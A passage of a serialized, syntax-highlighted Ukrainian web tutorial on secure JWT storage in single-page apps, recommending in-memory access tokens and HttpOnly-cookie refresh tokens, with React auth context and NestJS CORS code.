відображається\n",[5274,14229,14230],{"class":5276,"line":5685},[5274,14231,5577],{"emptyLinePlaceholder":5576},[5274,14233,14234],{"class":5276,"line":5691},[5274,14235,14236],{"class":5280},"\u002F\u002F Браузер автоматично додає Cookie до запитів:\n",[5274,14238,14239,14241,14243,14246],{"class":5276,"line":5855},[5274,14240,5424],{"class":5311},[5274,14242,5414],{"class":5295},[5274,14244,14245],{"class":5358},"'\u002Fauth\u002Frefresh'",[5274,14247,5432],{"class":5295},[5274,14249,14250,14253,14256,14258],{"class":5276,"line":5860},[5274,14251,14252],{"class":5305},"  credentials:",[5274,14254,14255],{"class":5358}," 'include'",[5274,14257,5129],{"class":5295},[5274,14259,14260],{"class":5280},"\u002F\u002F Дозволяє надсилання Cookies\n",[5274,14262,14263],{"class":5276,"line":5865},[5274,14264,5473],{"class":5295},[5274,14266,14267],{"class":5276,"line":6032},[5274,14268,5577],{"emptyLinePlaceholder":5576},[5274,14270,14271],{"class":5276,"line":6038},[5274,14272,14093],{"class":5280},[5274,14274,14275],{"class":5276,"line":6044},[5274,14276,14277],{"class":5280},"\u002F\u002F ✅ Повний захист від XSS (JavaScript не має доступу)\n",[5274,14279,14280],{"class":5276,"line":6050},[5274,14281,14282],{"class":5280},"\u002F\u002F ✅ Автоматичне надсилання браузером\n",[5274,14284,14285],{"class":5276,"line":6947},[5274,14286,5577],{"emptyLinePlaceholder":5576},[5274,14288,14289],{"class":5276,"line":6953},[5274,14290,14112],{"class":5280},[5274,14292,14293],{"class":5276,"line":6959},[5274,14294,14295],{"class":5280},"\u002F\u002F ⚠️ Потребує CORS конфігурації для cross-origin запитів\n",[5274,14297,14298],{"class":5276,"line":6965},[5274,14299,14300],{"class":5280},"\u002F\u002F ⚠️ Складніша реалізація у мобільних застосунках\n",[5265,14302,14305],{"className":5267,"code":14303,"filename":14304,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ✅ Токен зберігається лише у змінній JavaScript (пам'ять процесу)\nclass AuthStore {\n  private accessToken: string | null = null;\n\n  setAccessToken(token: string) {\n    this.accessToken = token;\n  }\n\n  getAccessToken(): string | null {\n    return this.accessToken;\n  }\n\n  clearAccessToken() {\n    this.accessToken = null;\n  }\n}\n\nconst authStore = new AuthStore();\n\n\u002F\u002F Переваги:\n\u002F\u002F ✅ Не зберігається у localStorage\u002FsessionStorage\n\u002F\u002F ✅ Автоматично очищається при перезавантаженні сторінки\n\u002F\u002F ✅ Недоступний для JavaScript з інших вкладок\n\n\u002F\u002F Недоліки:\n\u002F\u002F ❌ Втрачається при перезавантаженні сторінки\n\u002F\u002F ❌ Потрібен механізм відновлення через Refresh Token\n","4. In-Memory (✅ Рекомендовано для Access Token)",[5122,14306,14307,14312,14322,14343,14347,14362,14377,14381,14385,14401,14413,14417,14421,14429,14443,14447,14451,14455,14470,14474,14478,14483,14488,14493,14497,14501,14506],{"__ignoreMap":5270},[5274,14308,14309],{"class":5276,"line":5277},[5274,14310,14311],{"class":5280},"\u002F\u002F ✅ Токен зберігається лише у змінній JavaScript (пам'ять процесу)\n",[5274,14313,14314,14317,14320],{"class":5276,"line":5284},[5274,14315,14316],{"class":5287},"class",[5274,14318,14319],{"class":5567}," AuthStore",[5274,14321,7239],{"class":5295},[5274,14323,14324,14326,14328,14330,14332,14335,14337,14339,14341],{"class":5276,"line":5318},[5274,14325,10851],{"class":5287},[5274,14327,5292],{"class":5305},[5274,14329,5595],{"class":5295},[5274,14331,5568],{"class":5567},[5274,14333,14334],{"class":5295}," | ",[5274,14336,9703],{"class":5567},[5274,14338,5296],{"class":5295},[5274,14340,9703],{"class":5287},[5274,14342,5852],{"class":5295},[5274,14344,14345],{"class":5276,"line":5350},[5274,14346,5577],{"emptyLinePlaceholder":5576},[5274,14348,14349,14352,14354,14356,14358,14360],{"class":5276,"line":5368},[5274,14350,14351],{"class":5311},"  setAccessToken",[5274,14353,5414],{"class":5295},[5274,14355,5132],{"class":5305},[5274,14357,5595],{"class":5295},[5274,14359,5568],{"class":5567},[5274,14361,5600],{"class":5295},[5274,14363,14364,14367,14369,14371,14373,14375],{"class":5276,"line":5470},[5274,14365,14366],{"class":5287},"    this",[5274,14368,5302],{"class":5295},[5274,14370,8184],{"class":5305},[5274,14372,5296],{"class":5295},[5274,14374,5132],{"class":5305},[5274,14376,5852],{"class":5295},[5274,14378,14379],{"class":5276,"line":5644},[5274,14380,5647],{"class":5295},[5274,14382,14383],{"class":5276,"line":5650},[5274,14384,5577],{"emptyLinePlaceholder":5576},[5274,14386,14387,14390,14393,14395,14397,14399],{"class":5276,"line":5674},[5274,14388,14389],{"class":5311},"  getAccessToken",[5274,14391,14392],{"class":5295},"(): ",[5274,14394,5568],{"class":5567},[5274,14396,14334],{"class":5295},[5274,14398,9703],{"class":5567},[5274,14400,7239],{"class":5295},[5274,14402,14403,14405,14407,14409,14411],{"class":5276,"line":5680},[5274,14404,8457],{"class":5605},[5274,14406,5656],{"class":5287},[5274,14408,5302],{"class":5295},[5274,14410,8184],{"class":5305},[5274,14412,5852],{"class":5295},[5274,14414,14415],{"class":5276,"line":5685},[5274,14416,5647],{"class":5295},[5274,14418,14419],{"class":5276,"line":5691},[5274,14420,5577],{"emptyLinePlaceholder":5576},[5274,14422,14423,14426],{"class":5276,"line":5855},[5274,14424,14425],{"class":5311},"  clearAccessToken",[5274,14427,14428],{"class":5295},"() {\n",[5274,14430,14431,14433,14435,14437,14439,14441],{"class":5276,"line":5860},[5274,14432,14366],{"class":5287},[5274,14434,5302],{"class":5295},[5274,14436,8184],{"class":5305},[5274,14438,5296],{"class":5295},[5274,14440,9703],{"class":5287},[5274,14442,5852],{"class":5295},[5274,14444,14445],{"class":5276,"line":5865},[5274,14446,5647],{"class":5295},[5274,14448,14449],{"class":5276,"line":6032},[5274,14450,5677],{"class":5295},[5274,14452,14453],{"class":5276,"line":6038},[5274,14454,5577],{"emptyLinePlaceholder":5576},[5274,14456,14457,14459,14462,14464,14466,14468],{"class":5276,"line":6044},[5274,14458,5288],{"class":5287},[5274,14460,14461],{"class":5291}," authStore",[5274,14463,5296],{"class":5295},[5274,14465,5558],{"class":5287},[5274,14467,14319],{"class":5311},[5274,14469,6321],{"class":5295},[5274,14471,14472],{"class":5276,"line":6050},[5274,14473,5577],{"emptyLinePlaceholder":5576},[5274,14475,14476],{"class":5276,"line":6947},[5274,14477,14093],{"class":5280},[5274,14479,14480],{"class":5276,"line":6953},[5274,14481,14482],{"class":5280},"\u002F\u002F ✅ Не зберігається у localStorage\u002FsessionStorage\n",[5274,14484,14485],{"class":5276,"line":6959},[5274,14486,14487],{"class":5280},"\u002F\u002F ✅ Автоматично очищається при перезавантаженні сторінки\n",[5274,14489,14490],{"class":5276,"line":6965},[5274,14491,14492],{"class":5280},"\u002F\u002F ✅ Недоступний для JavaScript з інших вкладок\n",[5274,14494,14495],{"class":5276,"line":6971},[5274,14496,5577],{"emptyLinePlaceholder":5576},[5274,14498,14499],{"class":5276,"line":6977},[5274,14500,14112],{"class":5280},[5274,14502,14503],{"class":5276,"line":6983},[5274,14504,14505],{"class":5280},"\u002F\u002F ❌ Втрачається при перезавантаженні сторінки\n",[5274,14507,14508],{"class":5276,"line":6989},[5274,14509,14510],{"class":5280},"\u002F\u002F ❌ Потрібен механізм відновлення через Refresh Token\n",[5257,14512,14514],{"id":14513},"рекомендована-гібридна-стратегія","Рекомендована гібридна стратегія",[5089,14516,14517],{},[5099,14518,14519],{},"Оптимальний підхід для більшості SPA застосунків:",[5478,14521,14522,14531],{},[5096,14523,14524,14527,14528,14530],{},[5099,14525,14526],{},"Access Token"," → зберігається ",[5099,14529,6091],{}," (змінна JavaScript або React Context).",[5096,14532,14533,14535,14536,14539],{},[5099,14534,5934],{}," → зберігається у ",[5099,14537,14538],{},"HttpOnly Cookie"," (встановлюється сервером).",[5089,14541,14542],{},[5099,14543,14544],{},"Чому це найбезпечніше:",[5093,14546,14547,14552,14555,14560],{},[5096,14548,14549,14550,5249],{},"✅ Access Token недоступний для XSS атак (не у ",[5122,14551,5382],{},[5096,14553,14554],{},"✅ Refresh Token недоступний для XSS атак (HttpOnly Cookie).",[5096,14556,14557,14558,5302],{},"✅ При перезавантаженні сторінки Access Token втрачається, але автоматично відновлюється через ",[5122,14559,5155],{},[5096,14561,14562],{},"✅ Короткий TTL Access Token (15 хв) мінімізує вікно вразливості.",[5089,14564,14565],{},[5099,14566,14567],{},"Реалізація у React:",[5265,14569,14571],{"className":5267,"code":14570,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fcontexts\u002FAuthContext.tsx\nimport React, { createContext, useContext, useState, useEffect } from 'react';\nimport api from '..\u002Fapi\u002Faxios-instance';\n\ninterface AuthContextType {\n  accessToken: string | null;\n  setAccessToken: (token: string | null) => void;\n  logout: () => Promise\u003Cvoid>;\n}\n\nconst AuthContext = createContext\u003CAuthContextType | undefined>(undefined);\n\nexport function AuthProvider({ children }: { children: React.ReactNode }) {\n  const [accessToken, setAccessToken] = useState\u003Cstring | null>(null);\n\n  \u002F\u002F Автоматичне отримання нового Access Token при завантаженні застосунку\n  useEffect(() => {\n    const initAuth = async () => {\n      try {\n        const { data } = await api.post('\u002Fauth\u002Frefresh', {}, {\n          withCredentials: true, \u002F\u002F Надсилає HttpOnly Cookie з Refresh Token\n        });\n        setAccessToken(data.data.accessToken);\n      } catch (error) {\n        \u002F\u002F Refresh Token недійсний або відсутній — користувач не автентифікований\n        setAccessToken(null);\n      }\n    };\n\n    initAuth();\n  }, []);\n\n  const logout = async () => {\n    try {\n      await api.post('\u002Fauth\u002Flogout', {}, { withCredentials: true });\n    } finally {\n      setAccessToken(null);\n    }\n  };\n\n  return (\n    \u003CAuthContext.Provider value={{ accessToken, setAccessToken, logout }}>\n      {children}\n    \u003C\u002FAuthContext.Provider>\n  );\n}\n\nexport function useAuth() {\n  const context = useContext(AuthContext);\n  if (!context) {\n    throw new Error('useAuth must be used within AuthProvider');\n  }\n  return context;\n}\n",[5122,14572,14573,14578,14614,14627,14631,14641,14656,14680,14699,14703,14707,14735,14739,14770,14801,14805,14810,14821,14838,14844,14869,14880,14884,14903,14915,14920,14930,14934,14938,14942,14949,14954,14958,14974,14981,15006,15015,15026,15030,15034,15038,15044,15076,15085,15099,15103,15107,15111,15122,15139,15150,15166,15170,15178],{"__ignoreMap":5270},[5274,14574,14575],{"class":5276,"line":5277},[5274,14576,14577],{"class":5280},"\u002F\u002F src\u002Fcontexts\u002FAuthContext.tsx\n",[5274,14579,14580,14582,14585,14587,14590,14592,14595,14597,14600,14602,14605,14607,14609,14612],{"class":5276,"line":5284},[5274,14581,6282],{"class":5605},[5274,14583,14584],{"class":5305}," React",[5274,14586,8965],{"class":5295},[5274,14588,14589],{"class":5305},"createContext",[5274,14591,5129],{"class":5295},[5274,14593,14594],{"class":5305},"useContext",[5274,14596,5129],{"class":5295},[5274,14598,14599],{"class":5305},"useState",[5274,14601,5129],{"class":5295},[5274,14603,14604],{"class":5305},"useEffect",[5274,14606,5362],{"class":5295},[5274,14608,6293],{"class":5605},[5274,14610,14611],{"class":5358}," 'react'",[5274,14613,5852],{"class":5295},[5274,14615,14616,14618,14620,14622,14625],{"class":5276,"line":5318},[5274,14617,6282],{"class":5605},[5274,14619,7569],{"class":5305},[5274,14621,7553],{"class":5605},[5274,14623,14624],{"class":5358}," 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AuthContext",[5274,14715,5296],{"class":5295},[5274,14717,14589],{"class":5311},[5274,14719,5564],{"class":5295},[5274,14721,14722],{"class":5567},"AuthContextType",[5274,14724,14334],{"class":5295},[5274,14726,14727],{"class":5567},"undefined",[5274,14729,14730],{"class":5295},">(",[5274,14732,14727],{"class":5287},[5274,14734,5371],{"class":5295},[5274,14736,14737],{"class":5276,"line":5691},[5274,14738,5577],{"emptyLinePlaceholder":5576},[5274,14740,14741,14743,14745,14748,14750,14753,14756,14758,14760,14762,14764,14767],{"class":5276,"line":5855},[5274,14742,8490],{"class":5605},[5274,14744,5585],{"class":5287},[5274,14746,14747],{"class":5311}," AuthProvider",[5274,14749,5459],{"class":5295},[5274,14751,14752],{"class":5305},"children",[5274,14754,14755],{"class":5295}," }: { ",[5274,14757,14752],{"class":5305},[5274,14759,5595],{"class":5295},[5274,14761,2149],{"class":5567},[5274,14763,5302],{"class":5295},[5274,14765,14766],{"class":5567},"ReactNode",[5274,14768,14769],{"class":5295}," }) {\n",[5274,14771,14772,14774,14776,14778,14780,14783,14785,14787,14789,14791,14793,14795,14797,14799],{"class":5276,"line":5860},[5274,14773,5728],{"class":5287},[5274,14775,11330],{"class":5295},[5274,14777,8184],{"class":5291},[5274,14779,5129],{"class":5295},[5274,14781,14782],{"class":5291},"setAccessToken",[5274,14784,8248],{"class":5295},[5274,14786,14599],{"class":5311},[5274,14788,5564],{"class":5295},[5274,14790,5568],{"class":5567},[5274,14792,14334],{"class":5295},[5274,14794,9703],{"class":5567},[5274,14796,14730],{"class":5295},[5274,14798,9703],{"class":5287},[5274,14800,5371],{"class":5295},[5274,14802,14803],{"class":5276,"line":5865},[5274,14804,5577],{"emptyLinePlaceholder":5576},[5274,14806,14807],{"class":5276,"line":6032},[5274,14808,14809],{"class":5280},"  \u002F\u002F Автоматичне отримання нового Access Token при завантаженні застосунку\n",[5274,14811,14812,14815,14817,14819],{"class":5276,"line":6038},[5274,14813,14814],{"class":5311},"  useEffect",[5274,14816,8957],{"class":5295},[5274,14818,7654],{"class":5287},[5274,14820,7239],{"class":5295},[5274,14822,14823,14825,14828,14830,14832,14834,14836],{"class":5276,"line":6044},[5274,14824,7855],{"class":5287},[5274,14826,14827],{"class":5311}," initAuth",[5274,14829,5296],{"class":5295},[5274,14831,5582],{"class":5287},[5274,14833,9210],{"class":5295},[5274,14835,7654],{"class":5287},[5274,14837,7239],{"class":5295},[5274,14839,14840,14842],{"class":5276,"line":6050},[5274,14841,8089],{"class":5605},[5274,14843,7239],{"class":5295},[5274,14845,14846,14848,14850,14852,14854,14856,14858,14860,14862,14864,14866],{"class":5276,"line":6947},[5274,14847,8103],{"class":5287},[5274,14849,6285],{"class":5295},[5274,14851,8108],{"class":5291},[5274,14853,8111],{"class":5295},[5274,14855,5770],{"class":5605},[5274,14857,7569],{"class":5305},[5274,14859,5302],{"class":5295},[5274,14861,8120],{"class":5311},[5274,14863,5414],{"class":5295},[5274,14865,14245],{"class":5358},[5274,14867,14868],{"class":5295},", {}, {\n",[5274,14870,14871,14874,14876,14878],{"class":5276,"line":6953},[5274,14872,14873],{"class":5305},"          withCredentials:",[5274,14875,7599],{"class":5287},[5274,14877,5129],{"class":5295},[5274,14879,8152],{"class":5280},[5274,14881,14882],{"class":5276,"line":6959},[5274,14883,8038],{"class":5295},[5274,14885,14886,14889,14891,14893,14895,14897,14899,14901],{"class":5276,"line":6965},[5274,14887,14888],{"class":5311},"        setAccessToken",[5274,14890,5414],{"class":5295},[5274,14892,8108],{"class":5305},[5274,14894,5302],{"class":5295},[5274,14896,8108],{"class":5305},[5274,14898,5302],{"class":5295},[5274,14900,8184],{"class":5305},[5274,14902,5371],{"class":5295},[5274,14904,14905,14907,14909,14911,14913],{"class":5276,"line":6971},[5274,14906,8341],{"class":5295},[5274,14908,8344],{"class":5605},[5274,14910,5509],{"class":5295},[5274,14912,7844],{"class":5305},[5274,14914,5600],{"class":5295},[5274,14916,14917],{"class":5276,"line":6977},[5274,14918,14919],{"class":5280},"        \u002F\u002F Refresh Token недійсний або відсутній — користувач не автентифікований\n",[5274,14921,14922,14924,14926,14928],{"class":5276,"line":6983},[5274,14923,14888],{"class":5311},[5274,14925,5414],{"class":5295},[5274,14927,9703],{"class":5287},[5274,14929,5371],{"class":5295},[5274,14931,14932],{"class":5276,"line":6989},[5274,14933,8044],{"class":5295},[5274,14935,14936],{"class":5276,"line":7514},[5274,14937,11231],{"class":5295},[5274,14939,14940],{"class":5276,"line":7520},[5274,14941,5577],{"emptyLinePlaceholder":5576},[5274,14943,14944,14947],{"class":5276,"line":7526},[5274,14945,14946],{"class":5311},"    initAuth",[5274,14948,6321],{"class":5295},[5274,14950,14951],{"class":5276,"line":7919},[5274,14952,14953],{"class":5295},"  }, []);\n",[5274,14955,14956],{"class":5276,"line":7932},[5274,14957,5577],{"emptyLinePlaceholder":5576},[5274,14959,14960,14962,14964,14966,14968,14970,14972],{"class":5276,"line":7938},[5274,14961,5728],{"class":5287},[5274,14963,13398],{"class":5311},[5274,14965,5296],{"class":5295},[5274,14967,5582],{"class":5287},[5274,14969,9210],{"class":5295},[5274,14971,7654],{"class":5287},[5274,14973,7239],{"class":5295},[5274,14975,14976,14979],{"class":5276,"line":7960},[5274,14977,14978],{"class":5605},"    try",[5274,14980,7239],{"class":5295},[5274,14982,14983,14985,14987,14989,14991,14993,14996,14999,15001,15003],{"class":5276,"line":7980},[5274,14984,9935],{"class":5605},[5274,14986,7569],{"class":5305},[5274,14988,5302],{"class":5295},[5274,14990,8120],{"class":5311},[5274,14992,5414],{"class":5295},[5274,14994,14995],{"class":5358},"'\u002Fauth\u002Flogout'",[5274,14997,14998],{"class":5295},", {}, { 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\u003C\u002F",[5274,15091,15051],{"class":5305},[5274,15093,5302],{"class":5295},[5274,15095,15056],{"class":5305},[5274,15097,15098],{"class":5295},">\n",[5274,15100,15101],{"class":5276,"line":8094},[5274,15102,13153],{"class":5295},[5274,15104,15105],{"class":5276,"line":8100},[5274,15106,5677],{"class":5295},[5274,15108,15109],{"class":5276,"line":8125},[5274,15110,5577],{"emptyLinePlaceholder":5576},[5274,15112,15113,15115,15117,15120],{"class":5276,"line":8133},[5274,15114,8490],{"class":5605},[5274,15116,5585],{"class":5287},[5274,15118,15119],{"class":5311}," useAuth",[5274,15121,14428],{"class":5295},[5274,15123,15124,15126,15129,15131,15133,15135,15137],{"class":5276,"line":8139},[5274,15125,5728],{"class":5287},[5274,15127,15128],{"class":5291}," context",[5274,15130,5296],{"class":5295},[5274,15132,14594],{"class":5311},[5274,15134,5414],{"class":5295},[5274,15136,15051],{"class":5305},[5274,15138,5371],{"class":5295},[5274,15140,15141,15143,15145,15148],{"class":5276,"line":8155},[5274,15142,5606],{"class":5605},[5274,15144,5805],{"class":5295},[5274,15146,15147],{"class":5305},"context",[5274,15149,5600],{"class":5295},[5274,15151,15152,15154,15156,15159,15161,15164],{"class":5276,"line":8161},[5274,15153,5628],{"class":5605},[5274,15155,5631],{"class":5287},[5274,15157,15158],{"class":5311}," Error",[5274,15160,5414],{"class":5295},[5274,15162,15163],{"class":5358},"'useAuth must be used within AuthProvider'",[5274,15165,5371],{"class":5295},[5274,15167,15168],{"class":5276,"line":8166},[5274,15169,5647],{"class":5295},[5274,15171,15172,15174,15176],{"class":5276,"line":8189},[5274,15173,5653],{"class":5605},[5274,15175,15128],{"class":5305},[5274,15177,5852],{"class":5295},[5274,15179,15180],{"class":5276,"line":8194},[5274,15181,5677],{"class":5295},[5089,15183,15184],{},[5099,15185,15186],{},"Використання у компонентах:",[5265,15188,15190],{"className":5267,"code":15189,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fpages\u002FProfilePage.tsx\nimport React, { useEffect, useState } from 'react';\nimport { useAuth } from '..\u002Fcontexts\u002FAuthContext';\nimport api from '..\u002Fapi\u002Faxios-instance';\n\nexport function ProfilePage() {\n  const { accessToken } = useAuth();\n  const [profile, setProfile] = useState(null);\n\n  useEffect(() => {\n    if (!accessToken) {\n      \u002F\u002F Користувач не автентифікований\n      return;\n    }\n\n    const fetchProfile = async () => {\n      try {\n        \u002F\u002F Access Token автоматично додається через Axios Interceptor\n        const { data } = await api.get('\u002Fusers\u002Fprofile');\n        setProfile(data.data);\n      } catch (error) {\n        console.error('Failed to load profile:', error);\n      }\n    };\n\n    fetchProfile();\n  }, [accessToken]);\n\n  if (!accessToken) {\n    return \u003Cp>Please log in to view your profile.\u003C\u002Fp>;\n  }\n\n  return \u003Cdiv>{\u002F* Відображення профілю *\u002F}\u003C\u002Fdiv>;\n}\n",[5122,15191,15192,15197,15219,15237,15249,15253,15264,15278,15302,15306,15316,15326,15331,15337,15341,15345,15362,15368,15373,15398,15413,15425,15445,15449,15453,15457,15464,15474,15478,15488,15528,15532,15536,15558],{"__ignoreMap":5270},[5274,15193,15194],{"class":5276,"line":5277},[5274,15195,15196],{"class":5280},"\u002F\u002F src\u002Fpages\u002FProfilePage.tsx\n",[5274,15198,15199,15201,15203,15205,15207,15209,15211,15213,15215,15217],{"class":5276,"line":5284},[5274,15200,6282],{"class":5605},[5274,15202,14584],{"class":5305},[5274,15204,8965],{"class":5295},[5274,15206,14604],{"class":5305},[5274,15208,5129],{"class":5295},[5274,15210,14599],{"class":5305},[5274,15212,5362],{"class":5295},[5274,15214,6293],{"class":5605},[5274,15216,14611],{"class":5358},[5274,15218,5852],{"class":5295},[5274,15220,15221,15223,15225,15228,15230,15232,15235],{"class":5276,"line":5318},[5274,15222,6282],{"class":5605},[5274,15224,6285],{"class":5295},[5274,15226,15227],{"class":5305},"useAuth",[5274,15229,5362],{"class":5295},[5274,15231,6293],{"class":5605},[5274,15233,15234],{"class":5358}," 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ProfilePage",[5274,15263,14428],{"class":5295},[5274,15265,15266,15268,15270,15272,15274,15276],{"class":5276,"line":5644},[5274,15267,5728],{"class":5287},[5274,15269,6285],{"class":5295},[5274,15271,8184],{"class":5291},[5274,15273,8111],{"class":5295},[5274,15275,15227],{"class":5311},[5274,15277,6321],{"class":5295},[5274,15279,15280,15282,15284,15287,15289,15292,15294,15296,15298,15300],{"class":5276,"line":5650},[5274,15281,5728],{"class":5287},[5274,15283,11330],{"class":5295},[5274,15285,15286],{"class":5291},"profile",[5274,15288,5129],{"class":5295},[5274,15290,15291],{"class":5291},"setProfile",[5274,15293,8248],{"class":5295},[5274,15295,14599],{"class":5311},[5274,15297,5414],{"class":5295},[5274,15299,9703],{"class":5287},[5274,15301,5371],{"class":5295},[5274,15303,15304],{"class":5276,"line":5674},[5274,15305,5577],{"emptyLinePlaceholder":5576},[5274,15307,15308,15310,15312,15314],{"class":5276,"line":5680},[5274,15309,14814],{"class":5311},[5274,15311,8957],{"class":5295},[5274,15313,7654],{"class":5287},[5274,15315,7239],{"class":5295},[5274,15317,15318,15320,15322,15324],{"class":5276,"line":5685},[5274,15319,7883],{"class":5605},[5274,15321,5805],{"class":5295},[5274,15323,8184],{"class":5305},[5274,15325,5600],{"class":5295},[5274,15327,15328],{"class":5276,"line":5691},[5274,15329,15330],{"class":5280},"      \u002F\u002F Користувач не автентифікований\n",[5274,15332,15333,15335],{"class":5276,"line":5855},[5274,15334,9771],{"class":5605},[5274,15336,5852],{"class":5295},[5274,15338,15339],{"class":5276,"line":5860},[5274,15340,7131],{"class":5295},[5274,15342,15343],{"class":5276,"line":5865},[5274,15344,5577],{"emptyLinePlaceholder":5576},[5274,15346,15347,15349,15352,15354,15356,15358,15360],{"class":5276,"line":6032},[5274,15348,7855],{"class":5287},[5274,15350,15351],{"class":5311}," fetchProfile",[5274,15353,5296],{"class":5295},[5274,15355,5582],{"class":5287},[5274,15357,9210],{"class":5295},[5274,15359,7654],{"class":5287},[5274,15361,7239],{"class":5295},[5274,15363,15364,15366],{"class":5276,"line":6038},[5274,15365,8089],{"class":5605},[5274,15367,7239],{"class":5295},[5274,15369,15370],{"class":5276,"line":6044},[5274,15371,15372],{"class":5280},"        \u002F\u002F Access Token автоматично додається через Axios Interceptor\n",[5274,15374,15375,15377,15379,15381,15383,15385,15387,15389,15391,15393,15396],{"class":5276,"line":6050},[5274,15376,8103],{"class":5287},[5274,15378,6285],{"class":5295},[5274,15380,8108],{"class":5291},[5274,15382,8111],{"class":5295},[5274,15384,5770],{"class":5605},[5274,15386,7569],{"class":5305},[5274,15388,5302],{"class":5295},[5274,15390,9746],{"class":5311},[5274,15392,5414],{"class":5295},[5274,15394,15395],{"class":5358},"'\u002Fusers\u002Fprofile'",[5274,15397,5371],{"class":5295},[5274,15399,15400,15403,15405,15407,15409,15411],{"class":5276,"line":6947},[5274,15401,15402],{"class":5311},"        setProfile",[5274,15404,5414],{"class":5295},[5274,15406,8108],{"class":5305},[5274,15408,5302],{"class":5295},[5274,15410,8108],{"class":5305},[5274,15412,5371],{"class":5295},[5274,15414,15415,15417,15419,15421,15423],{"class":5276,"line":6953},[5274,15416,8341],{"class":5295},[5274,15418,8344],{"class":5605},[5274,15420,5509],{"class":5295},[5274,15422,7844],{"class":5305},[5274,15424,5600],{"class":5295},[5274,15426,15427,15430,15432,15434,15436,15439,15441,15443],{"class":5276,"line":6959},[5274,15428,15429],{"class":5305},"        console",[5274,15431,5302],{"class":5295},[5274,15433,7844],{"class":5311},[5274,15435,5414],{"class":5295},[5274,15437,15438],{"class":5358},"'Failed to load profile:'",[5274,15440,5129],{"class":5295},[5274,15442,7844],{"class":5305},[5274,15444,5371],{"class":5295},[5274,15446,15447],{"class":5276,"line":6965},[5274,15448,8044],{"class":5295},[5274,15450,15451],{"class":5276,"line":6971},[5274,15452,11231],{"class":5295},[5274,15454,15455],{"class":5276,"line":6977},[5274,15456,5577],{"emptyLinePlaceholder":5576},[5274,15458,15459,15462],{"class":5276,"line":6983},[5274,15460,15461],{"class":5311},"    fetchProfile",[5274,15463,6321],{"class":5295},[5274,15465,15466,15469,15471],{"class":5276,"line":6989},[5274,15467,15468],{"class":5295},"  }, [",[5274,15470,8184],{"class":5305},[5274,15472,15473],{"class":5295},"]);\n",[5274,15475,15476],{"class":5276,"line":7514},[5274,15477,5577],{"emptyLinePlaceholder":5576},[5274,15479,15480,15482,15484,15486],{"class":5276,"line":7520},[5274,15481,5606],{"class":5605},[5274,15483,5805],{"class":5295},[5274,15485,8184],{"class":5305},[5274,15487,5600],{"class":5295},[5274,15489,15490,15492,15495,15497,15500,15503,15506,15509,15512,15515,15518,15521,15524,15526],{"class":5276,"line":7526},[5274,15491,8457],{"class":5605},[5274,15493,15494],{"class":5295}," \u003C",[5274,15496,5089],{"class":5567},[5274,15498,15499],{"class":5295},">",[5274,15501,15502],{"class":5305},"Please",[5274,15504,15505],{"class":5305}," log",[5274,15507,15508],{"class":5287}," in",[5274,15510,15511],{"class":5305}," to",[5274,15513,15514],{"class":5305}," view",[5274,15516,15517],{"class":5305}," your",[5274,15519,15520],{"class":5305}," profile",[5274,15522,15523],{"class":5295},".\u003C\u002F",[5274,15525,5089],{"class":5305},[5274,15527,14698],{"class":5295},[5274,15529,15530],{"class":5276,"line":7919},[5274,15531,5647],{"class":5295},[5274,15533,15534],{"class":5276,"line":7932},[5274,15535,5577],{"emptyLinePlaceholder":5576},[5274,15537,15538,15540,15542,15545,15548,15551,15554,15556],{"class":5276,"line":7938},[5274,15539,5653],{"class":5605},[5274,15541,15494],{"class":5295},[5274,15543,15544],{"class":5567},"div",[5274,15546,15547],{"class":5295},">{",[5274,15549,15550],{"class":5280},"\u002F* Відображення профілю *\u002F",[5274,15552,15553],{"class":5295},"}\u003C\u002F",[5274,15555,15544],{"class":5305},[5274,15557,14698],{"class":5295},[5274,15559,15560],{"class":5276,"line":7960},[5274,15561,5677],{"class":5295},[5257,15563,15565],{"id":15564},"cors-конфігурація-для-httponly-cookies","CORS конфігурація для HttpOnly Cookies",[5089,15567,15568,15569,6256,15572,15575],{},"Якщо frontend та backend розміщені на різних доменах (наприклад, ",[5122,15570,15571],{},"app.example.com",[5122,15573,15574],{},"api.example.com","), необхідно налаштувати CORS для дозволу передачі credentials:",[5265,15577,15579],{"className":5267,"code":15578,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fmain.ts (NestJS)\nimport { NestFactory } from '@nestjs\u002Fcore';\nimport { AppModule } from '.\u002Fapp.module';\nimport * as cookieParser from 'cookie-parser';\n\nasync function bootstrap() {\n  const app = await NestFactory.create(AppModule);\n\n  \u002F\u002F Увімкнення cookie-parser для читання Cookies\n  app.use(cookieParser());\n\n  \u002F\u002F CORS конфігурація\n  app.enableCors({\n    origin: 'https:\u002F\u002Fapp.example.com', \u002F\u002F ✅ Явно вказуємо домен фронтенду\n    credentials: true, \u002F\u002F ✅ Дозволяємо надсилання Cookies\n    methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],\n    allowedHeaders: ['Content-Type', 'Authorization'],\n  });\n\n  await app.listen(3000);\n}\nbootstrap();\n",[5122,15580,15581,15586,15604,15622,15642,15646,15657,15681,15685,15690,15707,15711,15716,15727,15740,15752,15784,15800,15804,15808,15826,15830],{"__ignoreMap":5270},[5274,15582,15583],{"class":5276,"line":5277},[5274,15584,15585],{"class":5280},"\u002F\u002F src\u002Fmain.ts (NestJS)\n",[5274,15587,15588,15590,15592,15595,15597,15599,15602],{"class":5276,"line":5284},[5274,15589,6282],{"class":5605},[5274,15591,6285],{"class":5295},[5274,15593,15594],{"class":5305},"NestFactory",[5274,15596,5362],{"class":5295},[5274,15598,6293],{"class":5605},[5274,15600,15601],{"class":5358}," '@nestjs\u002Fcore'",[5274,15603,5852],{"class":5295},[5274,15605,15606,15608,15610,15613,15615,15617,15620],{"class":5276,"line":5318},[5274,15607,6282],{"class":5605},[5274,15609,6285],{"class":5295},[5274,15611,15612],{"class":5305},"AppModule",[5274,15614,5362],{"class":5295},[5274,15616,6293],{"class":5605},[5274,15618,15619],{"class":5358}," '.\u002Fapp.module'",[5274,15621,5852],{"class":5295},[5274,15623,15624,15626,15629,15632,15635,15637,15640],{"class":5276,"line":5350},[5274,15625,6282],{"class":5605},[5274,15627,15628],{"class":5287}," *",[5274,15630,15631],{"class":5605}," as",[5274,15633,15634],{"class":5305}," cookieParser",[5274,15636,7553],{"class":5605},[5274,15638,15639],{"class":5358}," 